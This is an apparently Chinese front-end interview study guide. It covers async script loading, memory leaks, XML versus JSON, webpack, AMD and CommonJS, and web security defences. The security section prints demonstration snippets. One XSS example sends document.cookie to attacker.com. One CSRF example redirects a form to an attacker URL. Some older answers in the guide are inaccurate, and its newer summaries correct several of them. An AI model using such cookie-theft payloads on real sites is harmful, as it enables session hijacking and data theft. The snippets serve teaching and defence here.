  • 组件库全部从一个 index.js 导出,业务只用了一个按钮,包却很大,为什么?

    通常是有模块带副作用,比如导入时就注册全局样式,打包工具不敢删。在 package.json 里正确声明 sideEffects,把 CSS 文件列进去,其余标成无副作用,按钮以外的代码就能被摇掉。

# 12 异步加载JS的方式有哪些?

⚡ 30 秒速记

  • defer:并行下载,HTML 解析完按顺序执行,在 DOMContentLoaded 之前,大多数业务脚本选它
  • async:并行下载,下完立刻执行,会打断解析,顺序不保证,适合统计、广告这种独立脚本
  • type="module" 默认就是 defer 行为,加 async 则下完就跑
  • 按需加载:动态 import() 返回 Promise,打包工具会自动拆成单独的 chunk
  • 动态插入的 script 默认是 async,要保序得手动设 script.async = false
  • XHR + eval、LABjs、Sea.js 都是老方案,现在不用

不想让脚本卡住页面,我默认用 defer,独立的第三方脚本用 async,按需的功能用动态 import()。 普通的 script 标签会让 HTML 解析停下来,等它下载完、执行完再继续,脚本放在 head 里白屏就长。defer 和 async 都是边解析边下载,区别在执行时机:defer 等页面解析完、按书写顺序跑,所以有依赖关系的脚本放心用;async 下完就跑,谁先下完谁先执行。像富文本编辑器、图表这类重模块,我会等用户点了再 import()。

你提到的异步加载 JS 的方式都是常见且有效的方法。以下是对每种方式的简要介绍:

1. 设置<script>属性 async="async":

  • 通过将async属性设置为"async",脚本将异步加载并立即执行,不会阻塞页面的解析和渲染。
  • 脚本加载完成后,将在页面中的任何位置立即执行。
<script src="script.js" async="async"></script>

2. 动态创建 script DOM:

  • 使用 JavaScript 动态创建 <script> 元素,并将其添加到文档中。
  • 通过设置 src 属性指定脚本的 URL,异步加载脚本。
var script = document.createElement('script');
script.src = 'script.js';
document.head.appendChild(script);

3. XmlHttpRequest 脚本注入:

  • 使用 XmlHttpRequest 对象加载脚本内容,并将其注入到页面中。
  • 通过异步请求获取脚本内容后,使用 eval() 函数执行脚本。
var xhr = new XMLHttpRequest();
xhr.open('GET', 'script.js', true);
xhr.onreadystatechange = function() {
 if (xhr.readyState === 4 && xhr.status === 200) {
   eval(xhr.responseText);
 }
};
xhr.send();

4. 异步加载库 LABjs:

  • LABjs 是一个用于异步加载 JavaScript 的库,可以管理和控制加载顺序。
  • 它提供了简洁的 API 来定义和加载依赖关系,以及控制脚本加载的时机。
$LAB
 .script('script1.js')
 .wait()
 .script('script2.js');

5. 模块加载器 Sea.js:

  • Sea.js 是一个用于 Web 端模块化开发的加载器,可以异步加载和管理模块依赖关系。
  • 它支持异步加载 JavaScript 模块,并在模块加载完成后执行回调函数。
seajs.use(['module1', 'module2'], function(module1, module2) {
 // 执行依赖模块加载完成后的逻辑
});

6. Deferred Scripts(延迟脚本):

  • 使用 <script> 元素的 defer 属性可以将脚本延迟到文档解析完成后再执行。
  • 延迟脚本会按照它们在文档中出现的顺序执行,但在 DOMContentLoaded 事件触发之前执行。
<script src="script.js" defer></script>

7. Dynamic Import(动态导入):

  • 使用动态导入语法 import() 可以异步加载 JavaScript 模块。
  • 这种方式返回一个 Promise 对象,可以通过 then() 方法处理模块加载完成后的逻辑。
import('module.js')
 .then(module => {
   // 执行模块加载完成后的逻辑
 })
 .catch(error => {
   // 处理加载失败的情况
 });

8. Web Workers(Web 工作者):

  • Web Workers 是运行在后台线程中的 JavaScript 脚本,可以进行耗时操作而不会阻塞主线程。
  • 可以使用 Web Workers 异步加载和执行 JavaScript 脚本,以提高页面的响应性。
var worker = new Worker('worker.js');
worker.onmessage = function(event) {
 // 处理从 Worker 返回的消息
};
worker.postMessage('start');

💬 面试官追问

  • jQuery 和依赖它的插件都加了 async,偶尔报 $ is not defined,为什么?

    async 谁先下完谁先执行,插件文件小、先跑了,jQuery 还没来。有依赖关系的脚本要用 defer,它严格按书写顺序执行。

  • defer 脚本里能拿到页面上的 DOM 吗?

    能,defer 在 HTML 全部解析完才执行,而且在 DOMContentLoaded 之前,所以不用再包一层 DOMContentLoaded 监听。

  • 用 document.createElement('script') 加载两个有依赖的脚本,顺序乱了怎么办?

    动态插入的脚本默认就是 async。给它们设 script.async = false,就会按插入顺序执行;或者在第一个的 onload 里再插第二个。

  • 路由页面用了 import() 懒加载,切页面时白一下,怎么优化?

    在用户可能要去的时候提前加载,比如鼠标悬停在链接上就调一次 import(),或者给 chunk 加 <link rel="prefetch">。再给懒加载组件包一个 Suspense 显示骨架屏。

  • 把 script 放在 body 底部和加 defer,效果一样吗?

    执行时机差不多,但放底部要等解析到那里才开始下载;defer 放在 head 里,浏览器一看到就开始并行下载,整体更快。

# 13 那些操作会造成内存泄漏?

⚡ 30 秒速记

  • 本质:东西已经不用了,但还有一条引用链能从全局摸到它,GC 不敢回收
  • 高发:没清的 setInterval、没解绑的 window / document 监听、没 destroy 的图表和地图实例
  • 游离 DOM:节点从页面删了,但 JS 变量或缓存还引用着
  • 无上限缓存:模块级 Map 只进不出;以对象为键可以换 WeakMap
  • 循环引用在现代浏览器不算泄漏(标记清除),那是老 IE 引用计数的问题;console.log 只在 DevTools 打开时才会留引用
  • 排查:Memory 面板拍两次堆快照对比,搜 Detached 看游离节点

内存泄漏说白了就是一个对象你已经不用了,但从全局出发还能顺着某条引用找到它,垃圾回收器就不敢收。 现代浏览器是标记清除,所以两个对象互相引用但外面没人用,照样会被回收,这条在老资料里说错了很多年。真实项目里最常见的是单页应用切页面时没清理:组件里开的定时器、往 window 上挂的 resize 监听、ECharts 实例,组件卸载了它们还活着,还顺带拽着整棵组件树。所以我写副作用一定成对写,开了就要在卸载时关。

JavaScript 内存泄露指对象在不需要使用它时仍然存在,导致占用的内存不能使用或回收

  • 未使用 var 声明的全局变量
  • 闭包函数(Closures)
  • 循环引用(两个对象相互引用)
  • 控制台日志(console.log)
  • 移除存在绑定事件的DOM元素(IE)
  • setTimeout 的第一个参数使用字符串而非函数的话,会引发内存泄漏
  • 垃圾回收器定期扫描对象,并计算引用了每个对象的其他对象的数量。如果一个对象的引用数量为 0(没有其他对象引用过该对象),或对该对象的惟一引用是循环的,那么该对象的内存即可回收

下面是一些常见操作可能导致内存泄漏的示例代码:

  1. 未使用 var 声明的全局变量:
function foo() {
  bar = 'global variable'; // 没有使用 var 声明
}
foo();
  1. 闭包函数(Closures):
function outer() {
  var data = 'sensitive data';
  return function() {
    // 内部函数形成了闭包
    console.log(data);
  };
}
var inner = outer();
inner(); // 闭包引用了外部函数的变量,导致变量无法被释放
  1. 循环引用:
function createObjects() {
  var obj1 = {};
  var obj2 = {};
  obj1.ref = obj2;
  obj2.ref = obj1;
  // 对象之间形成循环引用,导致无法被垃圾回收
}
createObjects();
  1. 控制台日志(console.log):
function processData(data) {
  console.log(data); // 控制台日志可能会引用数据,阻止垃圾回收
  // 处理数据的逻辑
}
  1. 移除存在绑定事件的 DOM 元素(IE):
var element = document.getElementById('myElement');
element.onclick = function() {
  // 处理点击事件
};
// 移除元素时没有显式地解绑事件处理程序,可能导致内存泄漏(在 IE 浏览器中)
element.parentNode.removeChild(element);
  1. 使用字符串作为 setTimeout 的第一个参数:
setTimeout('console.log("timeout");', 1000);
// 使用字符串作为参数,会导致内存泄漏(不推荐)

注意:以上示例只是为了说明可能导致内存泄漏的操作,并非一定会发生内存泄漏。在实际开发中,需要注意避免这些操作或及时进行相应的内存管理和资源释放。

💬 面试官追问

  • 单页应用来回切几次页面,内存一直涨不回落,怎么定位?

    Memory 面板先拍一张快照,切几次页面回来再拍一张,选 Comparison 看新增对象。搜 Detached 看游离节点,点进 Retainers 能看到是谁拽着它,通常一路追到某个没解绑的监听或全局变量。

  • 两个对象互相引用,会不会泄漏?

    在现代浏览器不会。GC 是从根出发标记能到达的对象,这两个对象从根够不着,就一起被回收。引用计数回收不了循环引用,那是老 IE 里 DOM 和 JS 对象互相引用的问题。

  • 闭包一定会造成内存泄漏吗?

    不会。闭包只是让外层变量活得跟函数一样久,函数没人引用了变量也就释放了。出问题的是闭包被挂到长期存在的地方,比如全局事件监听,而且顺带引用了大数组或 DOM。

  • React 组件里开了 setInterval,卸载之后控制台还一直在打日志,怎么改?

    在 useEffect 里返回清理函数:useEffect(() => { const t = setInterval(fn, 1000); return () => clearInterval(t) }, [])。监听、订阅、WebSocket 都照这个写法成对处理。

  • 给 DOM 节点缓存一些数据,用 Map 还是 WeakMap?

    用 WeakMap。Map 的键是强引用,节点从页面删了还被 Map 拽着;WeakMap 的键是弱引用,节点没人用了,对应的数据跟着一起被回收。

# 14 XML和JSON的区别?

⚡ 30 秒速记

  • 体积:JSON 没有闭合标签,同样的数据通常小不少
  • 解析:JSON.parse 直接得到 JS 对象;XML 要用 DOMParser 解析再一层层取值
  • 表达力:XML 有属性、命名空间、注释、XSD 校验,适合文档类、需要严格约束的数据
  • 现状:Web API 基本全是 JSON;XML 留在 SVG、RSS、Office 文档、SOAP、安卓布局这类地方
  • JSON 的坑:不支持注释、undefined 和函数会被丢掉、Date 变字符串、BigInt 直接报错

前后端交互我一律用 JSON,它小、解析快,而且在 JS 里一个 JSON.parse 就变成对象能直接用。 XML 用标签描述结构,表达能力其实更强,支持属性、命名空间、注释,还能用 Schema 严格校验,所以在配置文件、文档格式、老的银行和政务接口里还很常见。但对前端来说,XML 要先用 DOMParser 转成 DOM,再一层层取节点,写起来很啰嗦。真正要留心的反而是 JSON 自己的坑,比如日期序列化完就变字符串了。

XML(可扩展标记语言)和JSON(JavaScript对象表示法)是两种常用的数据格式,它们在以下几个方面有一些区别:

  1. 数据体积方面:
  • JSON相对于XML来说,数据的体积小,因为JSON使用了较简洁的语法,所以传输的速度更快。
  1. 数据交互方面:
  • JSON与JavaScript的交互更加方便,因为JSON数据可以直接被JavaScript解析和处理,无需额外的转换步骤。
  • XML需要使用DOM操作来解析和处理数据,相对而言更复杂一些。
  1. 数据描述方面:
  • XML对数据的描述性较强,它使用标签来标识数据的结构和含义,可以自定义标签名,使数据更具有可读性和可扩展性。
  • JSON的描述性较弱,它使用简洁的键值对表示数据,适合于简单的数据结构和传递。
  1. 传输速度方面:
  • JSON的解析速度要快于XML,因为JSON的语法更接近JavaScript对象的表示,JavaScript引擎能够更高效地解析JSON数据。

需要根据具体的需求和使用场景选择合适的数据格式,一般来说,如果需要简单、轻量级的数据交互,并且与JavaScript紧密集成,可以选择JSON。而如果需要较强的数据描述性和扩展性,或者需要与其他系统进行数据交互,可以选择XML。

💬 面试官追问

  • 对象里有 Date 字段,JSON.stringify 再 parse 回来,还能调 getTime() 吗?

    不能。Date 序列化时会调 toJSON() 变成 ISO 字符串,parse 回来就是普通字符串。要么手动 new Date(str),要么给 JSON.parse 传第二个参数 reviver 统一还原。

  • 用 JSON.parse(JSON.stringify(obj)) 做深拷贝,会丢什么?

    undefined、函数、Symbol 键直接丢,Date 变字符串,Map / Set 变空对象,NaN 变 null,有循环引用直接抛错。现在浏览器有原生 structuredClone(),能处理大部分这些情况。

  • 后端返回的 id 是 19 位数字,前端拿到后最后几位变了,为什么?

    JS 的数字是双精度浮点,超过 Number.MAX_SAFE_INTEGER(2^53 - 1)就丢精度,JSON.parse 时已经变了。最稳的是让后端把长 id 序列化成字符串返回。

  • 对接一个只返回 XML 的老接口,前端怎么解析?

    new DOMParser().parseFromString(text, 'application/xml') 拿到文档对象,再 querySelector 取节点。字段多的话我会在 BFF 层转成 JSON 再给前端,别让 XML 解析逻辑散在页面里。

  • 配置文件想写注释,JSON 不支持,怎么办?

    tsconfig.json、VS Code 配置其实用的是 JSONC,允许注释。自己的配置可以选 JSON5、YAML,或者干脆写成 .js / .ts 配置文件。

# 15 谈谈你对webpack的看法

⚡ 30 秒速记

  • 定位:模块打包器,从 entry 出发建依赖图,把 JS、CSS、图片都当模块,产出浏览器能跑的文件
  • 核心概念:entry、output、loader(转换单个文件)、plugin(挂在构建生命周期上干活)、mode
  • 产物优化:splitChunks 拆包、Tree Shaking、import() 懒加载、contenthash 做长期缓存
  • 构建提速:Webpack 5 的 cache: { type: 'filesystem' }、缩小 loader 的 include;DLL 在 5 里基本可以退休
  • 现状:新项目多用 Vite,Rspack 兼容 Webpack 配置但快很多;Webpack 生态最全,存量项目还是主力

Webpack 我理解就是一个把「一堆互相引用的文件」变成「浏览器能直接加载的几个包」的工具。 它从入口开始顺着 import 把所有依赖找出来,JS 以外的文件交给 loader 转成模块,打包过程中的压缩、生成 HTML、抽 CSS 这类活交给 plugin。它的优点是什么都能配,生态里几乎所有需求都有现成插件;缺点也是什么都要配,项目大了冷启动和热更新会很慢。所以新项目我会先考虑 Vite,老项目想提速又不想大改,可以评估迁到 Rspack。

Webpack是一个功能强大的模块打包工具,它在现代Web开发中扮演着重要的角色。以下是对Webpack的看法:

  1. 模块化开发:Webpack以模块化的方式管理项目中的各种资源,包括JavaScript、CSS、图片、字体等。它能够将这些资源视为模块,并根据模块之间的依赖关系进行打包,使代码结构更清晰、可维护性更高。
  2. 强大的打包能力:Webpack具有强大的打包能力,能够将项目中的多个模块打包成一个或多个静态资源文件。它支持各种模块加载器和插件,可以处理各种类型的资源文件,并且能够进行代码压缩、文件合并、按需加载等优化操作,以提高应用的性能和加载速度。
  3. 生态系统丰富:Webpack拥有一个庞大的插件生态系统,可以满足各种项目的需求。通过使用各种插件,我们可以实现代码的优化、资源的压缩、自动化部署等功能,大大提升了开发效率。
  4. 开发工具支持:Webpack提供了开发工具和开发服务器,支持热模块替换(Hot Module Replacement)等功能,使开发过程更加高效和便捷。它能够实时监听文件的变化并自动重新编译和刷新页面,极大地提升了开发体验。
  5. 社区活跃:Webpack拥有一个庞大的社区,开发者们积极分享各种有用的插件和工具,提供了大量的学习资源和解决方案。通过与社区的交流和学习,我们可以更好地了解Webpack的使用技巧和最佳实践。

总的来说,Webpack是一个非常强大和灵活的模块打包工具,它在现代Web开发中发挥着重要作用。通过Webpack,我们可以更好地组织和管理项目代码,提高开发效率和代码质量,同时也能够享受到丰富的插件和工具支持。

Webpack 一次构建大致分四个阶段:

  1. 初始化:合并命令行和配置文件参数,创建 Compiler 对象,注册所有 plugin。
  2. 编译:从 entry 开始,对每个文件调用匹配的 loader 转换成 JS,再解析出里面的 import / require,递归处理依赖,最终得到一张模块依赖图。
  3. 生成 chunk:按入口和 import() 动态导入点把模块分组,splitChunks 再把公共模块和第三方库拆出来。
  4. 输出:把每个 chunk 包装成带运行时的代码,写到 output.path。

整个过程中 Compiler 和 Compilation 会在各个阶段触发钩子(基于 tapable),plugin 就是挂在这些钩子上干活的。一个最小的 plugin 长这样:

class BuildTimePlugin {
  apply(compiler) {
    let start
    compiler.hooks.compile.tap('BuildTime', () => { start = Date.now() })
    compiler.hooks.done.tap('BuildTime', () => {
      console.log(`构建耗时 ${Date.now() - start}ms`) // 每次构建结束打印耗时
    })
  }
}
module.exports = BuildTimePlugin

Webpack 5 几个值得提的变化:内置持久化缓存 cache: { type: 'filesystem' },二次构建能快很多;内置 Module Federation,多个独立部署的应用可以运行时共享模块;资源模块 type: 'asset/resource' 取代了 file-loader / url-loader;不再自动给 Node 核心模块打 polyfill,用到 crypto、buffer 要自己配 resolve.fallback。

💬 面试官追问

  • loader 和 plugin 到底有什么区别?

    loader 是转换器,一次处理一个文件,比如把 .scss 转成 CSS 再转成 JS 模块。plugin 监听整个构建流程的钩子,能干 loader 干不了的全局活,比如生成 index.html、把 CSS 抽成单独文件。

  • 配置里 use: ['style-loader', 'css-loader', 'sass-loader'],执行顺序是什么?

    从右往左,先 sass-loader 把 Sass 编译成 CSS,再 css-loader 处理 @import 和 url(),最后 style-loader 把样式插到页面上。

  • 项目冷启动要两分钟,你会从哪几个地方下手?

    先用 speed-measure-webpack-plugin 看时间花在哪个 loader。常见收益最大的是开 cache: { type: 'filesystem' } 做持久化缓存、给 babel-loader 限定 include: src;再不行就考虑换 esbuild-loader 或直接迁 Rspack。

  • 每次发版用户都要重新下载全部 JS,怎么让缓存更有效?

    文件名用 [contenthash],再用 splitChunks 把 node_modules 拆成单独的 vendor 包,optimization.runtimeChunk 抽出运行时。这样只改业务代码时,vendor 的哈希不变,用户继续用缓存。

  • Vite 开发时为什么比 Webpack 快那么多?

    Webpack 启动时要把整个项目打包一遍才能开始服务;Vite 开发期不打包,直接让浏览器按原生 ESM 请求,请求到哪个文件才编译哪个,依赖用 esbuild 预构建。生产构建 Vite 还是要打包的。

# 16 说说你对AMD和Commonjs的理解

⚡ 30 秒速记

  • CommonJS:Node 的规范,require 同步读文件、运行时执行,module.exports 导出
  • AMD:浏览器的异步方案(RequireJS),define 声明依赖,依赖前置、提前执行
  • CMD(Sea.js)是依赖就近、用到才执行,和 AMD 对着提一句就够
  • 都是 ESM 之前的过渡方案,AMD 今天基本没人写了
  • 重点落到 ESM 和 CJS 的差别:静态和运行时、活绑定和值快照、能不能 Tree Shaking

CommonJS 是给服务端设计的同步加载,AMD 是给浏览器设计的异步加载,根本原因是读文件的成本不一样。 Node 读本地磁盘很快,所以 require 直接同步读进来执行,写法最简单。浏览器要走网络,同步加载会卡死页面,AMD 就让你先用 define 把依赖列出来,全部下载完再执行回调。不过这两个现在都是历史了,浏览器端已经被 ES Module 取代,面试里我会顺势把重点转到 ESM 和 CommonJS 的区别上。

对于AMD(Asynchronous Module Definition)和CommonJS的理解如下:

1. AMD(异步模块定义):

  • AMD是一种用于浏览器端的模块定义规范。
  • 它支持异步加载模块,允许在模块加载完成后执行回调函数。
  • AMD推荐的风格是通过define函数定义模块,并通过返回一个对象来暴露模块的接口。
  • 典型的AMD实现是RequireJS。

2. CommonJS:

  • CommonJS是一种用于服务器端的模块定义规范,Node.js采用了这个规范。
  • 它使用同步加载模块的方式,即只有模块加载完成后才能执行后续操作。
  • CommonJS的风格是通过对module.exports或exports的属性赋值来暴露模块的接口。
  • CommonJS适用于服务器端的模块加载,因为在服务器端文件的读取是同步的,不会影响性能。

总结:

  • AMD和CommonJS是两种不同的模块定义规范,分别适用于浏览器端和服务器端的模块加载。
  • AMD采用异步加载模块的方式,适用于浏览器环境,允许并行加载多个模块,适用于复杂的模块依赖关系。
  • CommonJS采用同步加载模块的方式,适用于服务器环境,因为在服务器端文件的读取是同步的。
  • 在实际开发中,可以根据项目的需求和运行环境选择使用AMD或CommonJS规范来组织和加载模块。

AMD 示例代码:

// 模块定义
define(['moduleA', 'moduleB'], function(moduleA, moduleB) {
  // 模块代码
  var foo = moduleA.foo();
  var bar = moduleB.bar();
  return {
    baz: function() {
      console.log(foo + bar);
    }
  };
});

// 模块加载
require(['myModule'], function(myModule) {
  myModule.baz(); // 调用模块方法
});

CommonJS 示例代码:

// 模块定义
// moduleA.js
exports.foo = function() {
  return 'Hello';
};

// moduleB.js
exports.bar = function() {
  return 'World';
};

// 主程序
// main.js
var moduleA = require('./moduleA');
var moduleB = require('./moduleB');

var foo = moduleA.foo();
var bar = moduleB.bar();
console.log(foo + ' ' + bar);

在浏览器环境下,可以使用RequireJS作为AMD规范的实现库。在Node.js环境下,CommonJS模块加载是内置的,无需使用额外的库。以上示例代码是在浏览器端和Node.js环境中分别使用AMD和CommonJS规范加载模块的简单示例。

💬 面试官追问

  • 为什么浏览器不能直接用 CommonJS?

    require 是同步的,浏览器里同步发网络请求会卡住主线程。Browserify、Webpack 能让你写 require,是因为打包时已经把所有文件拼到一起了,运行时不用再去网络取。

  • exports.a = 1 能导出,exports = { a: 1 } 为什么不行?

    exports 只是 module.exports 的一个引用,最后真正导出的是 module.exports。直接给 exports 重新赋值只是改了局部变量的指向,和 module.exports 断开了,所以导出的还是空对象。

  • 同一个模块被 require 两次,会执行两次吗?

    不会,第一次执行后结果缓存在 require.cache 里,后面直接返回同一个对象。所以模块级的变量相当于单例,想重新执行得先删掉缓存。

  • AMD 的依赖前置和 CMD 的依赖就近,具体差在哪?

    AMD 在 define 时就把依赖全列出来,下载完立刻执行;CMD 在函数体里写 require,依赖也会提前下载,但执行推迟到真正用到那一行。

  • 老项目里有 UMD 格式的包,它是怎么同时兼容的?

    UMD 就是一段判断:有 define.amd 就按 AMD 注册,有 module.exports 就按 CommonJS 导出,都没有就挂到全局变量上。所以它在 script 标签、RequireJS、Node 里都能用。

# 17 常见web安全及防护原理

⚡ 30 秒速记

  • XSS:把恶意脚本塞进页面执行。防:输出转义、少用 innerHTML、上 CSP、cookie 加 HttpOnly
  • XSS 三类:存储型(存进库里)、反射型(拼在 URL 参数里)、DOM 型(前端自己把输入塞进 DOM)
  • CSRF:借用户已登录的 cookie 冒充他发请求。防:CSRF Token、SameSite=Lax、校验 Origin
  • 点击劫持:透明 iframe 骗点击。防:CSP frame-ancestors 或 X-Frame-Options
  • 后端:参数化查询防 SQL 注入;全站 HTTPS + HSTS;依赖锁版本、npm audit、CDN 资源加 SRI
  • 每种按「怎么打进来 → 能干什么 → 怎么防」三段讲

前端最常问的是 XSS 和 CSRF,一个是让你的页面执行了别人的代码,一个是别人借你的登录态替你发请求。 XSS 的根子是把用户输入当成 HTML 或脚本输出了,防法就是输出时转义,React、Vue 默认都转义,危险的是 dangerouslySetInnerHTML 和 v-html;再加 CSP 兜底,cookie 设 HttpOnly 让脚本偷不走。CSRF 利用的是浏览器跨站请求会自动带 cookie,现在 Chrome 默认 SameSite=Lax 已经挡掉大部分,敏感操作我还是会加 Token 校验。

时序图 · 3 个参与者 / 7 步
alt cookie 是 SameSite=Lax 或请求缺少 CSRF Token没有任何防护用户浏览器用户浏览器银行站 bank.com银行站 bank.com恶意站 evil.com恶意站 evil.com登录1下发会话 cookie2被诱导打开恶意页面3页面里藏一个自动提交的转账表单4跨站 POST 转账请求5跨站 POST 不带 cookie 或 Token 校验失败,拒绝6浏览器自动带上 cookie转账成功,用户毫不知情7

常见Web安全问题及对应的防护原理如下所示,并附上相应的示例代码:

1. SQL注入

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

  • 总的来说有以下几点

    • 永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等
    • 永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取
    • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
    • 不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息
  • 防护原理:

    • 使用参数化查询或预编译语句
    • 使用ORM框架或查询构建器
    • 对用户输入进行输入验证和过滤

示例代码:

// 使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(sql, [username, password], (err, result) => {
  // 处理查询结果
});

// 使用预编译语句
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
const stmt = db.prepare(sql);
stmt.run(username, password, (err, result) => {
  // 处理查询结果
});

2. 跨站脚本攻击 (XSS)

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码。比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点

  • 防护原理:
    • 对用户输入进行合适的转义和过滤
    • 使用安全的模板引擎或自动转义函数
    • 使用HTTP头部中的Content Security Policy (CSP)

示例代码:

// 对用户输入进行转义
function escapeHTML(input) {
  return input.replace(/</g, '&lt;').replace(/>/g, '&gt;');
}
// 使用安全的模板引擎
const template = Handlebars.compile('{{data}}');
const html = template({ data: userInput });

// 使用Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 'script-src \'self\'');

3. 跨站请求伪造 (CSRF)

  • 防护原理:
    • 使用CSRF Token进行验证
    • 验证请求来源
    • 验证HTTP Referer头

示例代码:

// 使用CSRF Token进行验证
app.use((req, res, next) => {
  res.locals.csrfToken = generateCSRFToken();
  next();
});

// 验证请求来源
if (req.headers.origin !== 'https://example.com') {
  // 请求不是来自预期的来源,拒绝处理
}

// 验证HTTP Referer头
if (req.headers.referer !== 'https://example.com/') {
  // 请求不是来自预期的来源,拒绝处理
}

XSS与CSRF有什么区别吗?

XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种不同类型的安全威胁,其区别如下:

XSS(跨站脚本攻击):

  • 目标:获取用户的敏感信息、执行恶意代码。
  • 攻击方式:攻击者向受信任网站注入恶意脚本代码,使用户的浏览器执行该恶意脚本。
  • 攻击原理:XSS攻击利用了网页应用对用户输入的信任,通过注入恶意脚本代码,使其在用户的浏览器中执行。
  • 防护措施:对用户输入进行合适的转义和过滤,使用安全的模板引擎或自动转义函数,使用Content Security Policy(CSP)等。

CSRF(跨站请求伪造):

  • 目标:利用用户的身份完成恶意操作,而不是获取敏感信息。
  • 攻击方式:攻击者诱使用户在受信任网站的身份下执行恶意操作,利用用户在受信任网站上的身份发送恶意请求。
  • 攻击原理:CSRF攻击利用了网页应用对用户已认证身份的信任,通过伪造请求,利用用户的身份在受信任网站上执行恶意操作。
  • 防护措施:使用CSRF Token进行验证,验证请求来源、HTTP Referer头,双重提交Cookie验证等。

总结:

  • XSS攻击注重利用网页应用对用户输入的信任,目标是获取用户的敏感信息和执行恶意代码。
  • CSRF攻击注重利用网页应用对用户已认证身份的信任,目标是代替用户完成指定的动作。

请注意,为了有效地防止XSS和CSRF攻击,应采用综合的安全措施,并进行定期的安全审查和测试。

XSS攻击获取Cookie的示例

<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
  <title>XSS Attack Demo</title>
</head>
<body>
  <h1>XSS Attack Demo</h1>
  <div id="content"></div>
  <script src="payload.js"></script>
</body>
</html>
// payload.js
const maliciousScript = `
  const xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://attacker.com/steal-cookie?cookie=' + document.cookie, true);
  xhr.send();
`;

document.getElementById('content').innerHTML = maliciousScript;

在上述示例中,恶意脚本payload.js被注入到页面中。该脚本通过XMLHttpRequest发送GET请求,将页面中的Cookie信息发送给攻击者控制的服务器。

CSRF攻击的示例

<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
  <title>CSRF Attack Demo</title>
</head>
<body>
  <h1>CSRF Attack Demo</h1>
  <form id="transfer-form" action="http://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="10000">
    <input type="submit" value="Transfer">
  </form>
  <script src="payload.js"></script>
</body>
</html>
// payload.js
const maliciousScript = `
  const form = document.getElementById('transfer-form');
  form.action = 'http://attacker.com/steal-data';
  form.submit();
`;

eval(maliciousScript);

在上述示例中,恶意脚本payload.js被执行。该脚本修改了表单transfer-form的目标地址为攻击者控制的服务器,并提交表单。当用户点击"Transfer"按钮时,实际上会向攻击者服务器发送用户的敏感数据。

请注意,以上示例仅为了说明XSS攻击和CSRF攻击的原理,并非真实的攻击代码。在实际开发中,应该采取相应的防护措施来预防这些安全威胁,如输入验证、输出编码、使用CSRF令牌等。

4. 文件上传漏洞

  • 防护原理:
  • 验证文件类型和大小
  • 存储上传的文件在非Web可访问目录下
  • 生成唯一且安全的文件名

示例代码:

// 验证文件类型和大小
const allowedFileTypes = ['image/jpeg', 'image/png'];
const maxFileSize = 5 * 1024 * 1024; // 5MB

if (!allowedFileTypes.includes(file.mimetype) || file.size > maxFileSize) {
 // 文件类型不合法或大小超过限制,拒绝上传
}

5. 会话劫持和会话固定

  • 防护原理:
    • 使用安全的会话管理机制(如使用HTTPS、使用HTTP Only和Secure标志的Cookie)
    • 生成随机且复杂的会话ID
    • 定期更新会话ID

示例代码:

// 设置HTTP Only和Secure标志的会话Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });

// 生成随机且复杂的会话ID
const sessionID = generateSessionID();

// 定期更新会话ID
setInterval(() => {
  // 生成新的会话ID
  const newSessionID = generateSessionID();
  // 更新会话ID
  req.sessionID = newSessionID;
}, 30 * 60 * 1000); // 30分钟更新一次会话ID

6. 点击劫持

  • 防护原理:
  • 使用X-Frame-Options响应头
  • 使用Content Security Policy (CSP)
  • 使用Framebusting脚本

示例代码:

// 使用X-Frame-Options响应头
res.setHeader('X-Frame-Options', 'DENY');

// 使用Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 'frame-ancestors \'none\'');

// 使用Framebusting脚本
if (window.top !== window.self) {
 window.top.location = window.self.location;
}

7. 不安全的重定向和跳转

  • 防护原理:
  • 对重定向URL进行白名单验证
  • 验证跳转请求的合法性
  • 使用HTTP Only和Secure标志的Cookie

示例代码:

// 对重定向URL进行白名单验证
const whitelist = ['https://example.com', 'https://example.net'];
if (whitelist.includes(redirectURL)) {
 res.redirect(redirectURL);
} else {
 // 非法的重定向URL,拒绝跳转
}

// 验证跳转请求的合法性
const referer = req.headers.referer;
if (referer && referer.startsWith('https://example.com')) {
 res.redirect(redirectURL);
} else {
 // 非法的跳转请求,拒绝跳转
}

// 使用HTTP Only和Secure标志的Cookie
res.cookie('sessionID', sessionID, { httpOnly: true, secure: true });

💬 面试官追问

  • 用了 React,是不是就不用管 XSS 了?

    不是。JSX 插值会转义,但 dangerouslySetInnerHTML、href={userInput} 放进 javascript: 协议、直接操作 ref.current.innerHTML 都能打进来。富文本要用 DOMPurify 过滤后再渲染。

  • token 存 localStorage 还是 HttpOnly cookie?

    localStorage 一旦有 XSS 就会被直接读走;HttpOnly cookie 脚本读不到,但要自己处理 CSRF。我倾向后者配 SameSite=Lax 和 CSRF Token,前提是前后端同站。

  • Chrome 已经默认 SameSite=Lax 了,还需要 CSRF Token 吗?

    敏感操作还是要。Lax 依然允许顶层导航的 GET 带 cookie,如果有人用 GET 做了删除操作就挡不住;同站的子域被攻破也不受 SameSite 限制,而且不是所有浏览器默认值都一样。

  • CSP 一上线,第三方统计脚本和内联脚本全挂了,怎么推进?

    先用 Content-Security-Policy-Report-Only 只上报不拦截,跑一段时间收集违规清单。内联脚本改成外链或加 nonce,第三方域名列进白名单,清理干净再切到正式模式。

  • 为什么 SQL 注入要靠参数化查询,前端校验不行吗?

